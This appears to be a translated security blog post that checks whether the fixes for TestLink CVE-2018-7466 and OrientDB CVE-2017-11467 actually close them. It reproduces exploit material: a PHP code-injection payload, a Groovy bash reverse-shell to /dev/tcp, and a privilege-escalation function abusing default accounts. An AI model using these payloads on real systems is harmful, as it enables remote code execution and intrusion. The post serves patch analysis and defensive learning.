Is it possible to enter a closed door, or how to patch vulnerabilities

    Dozens of CVEs are published every day in the world (according to, 20,832 CVEs were published for 2017). However, manufacturers began to treat security reports with great understanding and attention, due to which the speed of closing bugs increased significantly (according to our feelings).

    It became interesting for us to look at several products and understand why vulnerabilities arose (we learn from the mistakes of others). As well as how manufacturers correct them and whether they always succeed (looking ahead - not always).

    Selection criteria:

    As in any good controlled experiment, we put a number of restrictions on the vulnerabilities in question:

    • there should be an exploit - we want to see that before the update everything was well exploited poorly, and after that it became good;
    • vulnerability should be critical (ideally RCE) and with a high score;
    • the product must be OpenSource;
    • the product must not be abandoned and actively used;
    • vulnerability should be relatively new;
    • the main thing is that we ourselves would be interested.

    What and how we chose:

    We went to (“Google” for Hackers) and asked to show all exploits from in the last couple of weeks. So we found our first ward subject. TestLink Open Source Test Management is a web-based testing management system written in PHP.
    (CVE-2018-7466, score 8.3, RCE, published February 25, 2018 - everything we wanted).
    We decided to search for the second test with score 10. And then we were struck by the vulnerability in OrientDB (CVE-2017-11467, score 10, RCE, published July 17, 2017, almost as we wanted). OrientDB is an open DBMS that combines the capabilities of a document-oriented and graph-oriented database (wiki) .

    The selection process took us 15-20 minutes. Most of this time we tried to understand what kind of product it was and whether it fits our criteria. It turns out that the choice can be called relatively random. We turn to the consideration of our subjects.

    TestLink Open Source Test Management (CVE-2018-7466):

    We read the description of the exploit . We see that the version up to 1.9.16 (inclusive) is vulnerable and that everything is fixed in version 1.9.17. We go to the manufacturer's website in the hope of downloading a new and old version. Here we are waiting for the first amazing moment: on the manufacturer’s website there is only a vulnerable version. Searches on the Internet version 1.9.17 do not give a result. We find news that the new version will be in the first quarter of 2018. But there is a github project where you can get the latest version to understand how the developers fixed the problem.

    We put TestLink, everything is simple here. You need to install the Apache + PHP + Mysql bundle and unzip the project folder into the Web server folder. After that, go to your Web server, where we will be met by the installation wizard, which will tell us that the default user is admin with the password admin. At the first login, we are not asked to change it, but this can easily be done in the user settings.

    We understand from the text of the exploit that the problematic script is “/install/installDbInput.php”. It is located in the install folder, and we have already completed the installation, and, in theory, it should already be unavailable. However, if you try to contact her, it turns out that this is not so. This behavior of the installer is very unsafe, since anyone can erase all your records. Here I, of course, go too far. In fact, it can indicate that it is necessary to use the new Mysql server, but everything will remain in the old one, and it will be possible to roll back to the working version.

    In the exploit text, a string of the form is passed as the user name:


    Obviously, we have an injection in php code. Let's see where it comes from. We go to the installDbInput.php script and see the saving of user values ​​in lines 62 through 69. After, they are somehow used, and then in lines 489-498 are stored in a file

    $cfg_file = "../".

    // get db info from session 
    // строки 62-69
    $db_server = $_SESSION['databasehost'];
    $db_admin_name = $_SESSION['databaseloginname'];
    $db_admin_pass = $_SESSION['databaseloginpassword'];
    $db_name = $_SESSION['databasename'];
    $db_type = $_SESSION['databasetype'];
    $tl_db_login = $_SESSION['tl_loginname'];
    $tl_db_passwd = $_SESSION['tl_loginpassword'];
    $db_table_prefix = $_SESSION['tableprefix'];

    //строки 489-498
    $data['db_login'] = $user_host[0];
    $data['db_passwd'] = $tl_db_passwd;
    $data['db_name'] = $db_name;
    $data['db_type'] = $db_type;
    $data['db_table_prefix'] = $db_table_prefix;
    $cfg_file = "../";
    $yy = write_config_db($cfg_file,$data);

    As you might guess, the php code that we wrote to the file “” is now easily accessible and can be executed (classic RCE in action).

    Here is the code after the exploit:

    define('DB_TYPE', 'mysql');
    define('DB_USER', 'box');file_put_contents($_GET[1],file_get_contents($_GET[2]));//');
    define('DB_PASS', '123');
    define('DB_HOST', 'localhost');
    define('DB_NAME', 'testlink');
    define('DB_TABLE_PREFIX', '');

    Fix from TestLink:

    In the CVE description on, there is a link to a github commit that “closes” this vulnerability by reducing the possible login length to 32 characters (why only login, although injection is possible in all fields, and why to 32 - it remains a mystery to us) . We rubbed our hands and decided to bypass the limitation of 32 characters in the login (although we could read the code more carefully and understand that we were already fighting through the closed door).

    The initial exploit had 64 characters per injection. After thinking about how to shorten this, we decided to use the standard function eval and reduce the username to one letter. Here's what we got:


    23 characters (if possible, write in the comments, we are curious), use something like this:


    After checking on the old version that our “exploit” code works, we downloaded the new version from the gita (there is still no official new version), installed and were disappointed, because our code did not work.

    Why didn't our code work?

    In the file, our code entered in the form:

    define('DB_USER', 'bevalGETe');

    That is, all special characters have been removed. We look in the new installNewDB.php code more closely and see that lines 56-82 have added “processing” of user input of the form:

    $san = '/[^A-Za-z0-9\-]/';
    $db_name = trim($_SESSION['databasename']);
    $db_name = preg_replace($san,'',$db_name);

    That is, all characters other than letters, numbers, and the “-” character are deleted. And, accordingly, the exploit stops working. ATTENTION. Not only the exploit, but the functionality itself ceases to work. Since the preg_replace with the regular expression '/ [^ A-Za-z0-9 \ -] /' applies to all fields, it is now impossible to set the remote host with the database. Since it is difficult to imagine a record in which a dot will not occur (it will be in both the domain record and the ipv4 address record) or the colon (no one canceled the ipv6 address). It has also become easier to sort passwords (they can only contain letters, numbers and the “-” symbol).

    Conclusions on TestLink and CVE-2018-7466:

    • vulnerability is closed;
    • the regular expression closing the vulnerability breaks part of the functionality;
    • a regular expression that closes the vulnerability makes it easy to enumerate passwords;
    • on Invalid commit, closing the vulnerability ( that's right ).

    Mistress on a note on TestLink and CVE-2018-7466:

    • filter user input (using special language functions for this, rather than self-written regular expressions);
    • do not store user input in php scripts (and prevent the php interpreter from starting for files with a different extension, and at the same time returning these files);
    • Do not store logins and passwords from the database in clear text;
    • deny access or remove the install directory after installation.

    OrientDB (CVE-2017-11467):

    We read the description of the exploit . There again there is a link to github , where it says that the vulnerability is fixed in version 2.2.23. So, for starters, we are interested in version 2.2.22 (which should be vulnerable).

    Installation this time is much simpler. Developers give docker containers where everything is configured, and docker hub stores all versions. Therefore, we simply write:

    sudo docker run -d --name orientdb -p 2424:2424 -p 2480:2480 -e ORIENTDB_ROOT_PASSWORD=root orientdb:2.2.22

    and get a container with a vulnerable version of OrientDB. We copy the python code of the exploit to ourselves and run it. However, the script crashes with the words that we don’t have a database (it might fall with the words that you are missing some Python package). We go to our local host on port 2480 and create a database. We start the exploit again, this time it will not work either, since the built-in payload (reverse shell) requires the presence of bash, and in our container there is only sh.

    For the test, we decided to write payload, which simply creates a file. It is clear that in real life everything can be done much more interesting.

    The query variable, which contains Groovy code, is responsible for the payload. We change the payload with

    def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\\"\\");file.delete();file << (\\"#!/bin/bash\\\\n\\");file << (command);def proc = \\"bash\\".execute();

    on the

    def command = \'touch /orientdb/ \';File file = new File(\\"\\");file.delete();file << (\\"#!/bin/sh\\\\n\\");file << (command);def proc = \\"/bin/sh\\".execute();

    We launch the exploit, and the file is created inside our container. Great, the exploit works, the vulnerability is present.

    Check that everything is closed.

    Now we check that everything was successfully closed in version 2.2.23 (version dated July 11, 2017). We launch the container with this version (create the database), launch the exploit and check the file in the container. We do not believe our eyes: there is our test file. We check the product version (there is a “about” tab in the web interface) - everything is right there, version 2.2.23. We restart the exploit with a different file name ( is not the most original name) - everything worked. Check the exploit description on . There is a link that the vulnerability is closed in version 2.2.23.

    Okay, let's look for the version where the vulnerability was closed. It is very lucky that there are containers of all versions and a binary search algorithm. We stock up on cookies and start the search. We launch the latest version - 2.2.33 (March 5, 2018) - without the hope that something will work on it. Check - it works.

    We look at the exploit code and see that the problem is slightly less serious than it seemed initially: all requests are executed on behalf of the user “writer” with the password “writer”. In other words, the second holy rule is violated: built-in accounts with wired passwords are created. Even giants suffer from this (remember Oracle’s sensational vulnerability last year, where the built-in user OIMINTERNAL was assigned a password space), what can we expect from a small opensource-product. Later it turned out that there is not only this account, but also admin: admin (my favorites) and reader: reader. At the same time, through the web-interface for 2 minutes there is no place where they can be changed, and in the official documentation there is no information about what needs to be done.

    The problem is that when creating the database, these users are automatically added to it. Even if it were not possible to execute the code, then viewing the data (and its modification) may become a problem for the owner of the resource using OrientDB and its users.

    Why not shut down?

    We look at the commit in which this vulnerability should have been closed. A check has been added to the file that the user has read permission in the "database.systemclusters" role, which should solve the problem of changing permissions. Raising the container version 2.2.23 again, logging in as a writer, and going to the Security tab, we see an access error message:

    com.orientechnologies.orient.core.exception.OSecurityAccessException: User 'writer' does not have permission to execute the operation 'Read' against the resource: ResourceGeneric [name=SYSTEM_CLUSTER, legacyName=database.systemclusters].null DB name="test23" 

    This means that the user cannot view his rights. In version 2.2.22 there was no such error and the user could calmly watch and change their rights.

    Pay attention to the file name: It has the keyword Select. We look in the folder on the git and see that for each SQL-command, there is a class, and the last change relates to the class (9 months ago).

    There is a priv_escalation function in the exploit code

    def priv_escalation(target,port="2480"):
        print "[+] Checking OrientDB Database version is greater than 2.2"
        if check_version(target,port):
            databases = enum_databases(target)
            print databases
            priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function")
            priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function")
            priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters")
            if priv1 and priv2 and priv3:
                return True
        return False,

    which performs "Grant" operations on the roles database.class.ouser, database.function, database.systemclusters (they are given full rights "create", "read", "update", "execute", "delete").

    The class does not take into account the changes that have occurred in the class, and that calls can be made directly to the API (rather than poking in the Web interface). It turns out, it is possible to give yourself the rights necessary to run the Groovy code, which can be executed in the context of the operating system, which happens in the exploit.

    There is a violation of the third holy rule: closing the vulnerability in the displayed results, and not in the API, to which the user also has access.

    Conclusions on OrientDB and CVE-2017-11467:

    • the vulnerability is not closed (when accessing the API, you can give yourself the necessary rights to run Groovy code);
    • the system has built-in users with high rights;
    • Shodan says 458 hosts around the world use OrientDB, which means they can potentially be accessed. (Intuition tells me that the administrators of these databases did not think about the built-in users and did not ban them.)

    Mistress on a note on OrientDB and CVE-2017-11467:

    • Do not create built-in users with the same passwords.
    • force during installation to change passwords for built-in users (if you need them so much);
    • Do not create built-in users.
    • Correct errors in the API, not in the displayed results;
    • closed vulnerabilities may not be closed;
    • is wrong again.


    The topic of vulnerability closure turned out to be much more interesting than we had originally seen. Randomly selected two vulnerabilities showed that they are closed strangely and poorly. In the future, we will continue to look at what and how is happening with vulnerability closure. Write in the commentary what strange “closed” vulnerabilities you have observed.

    Also popular now: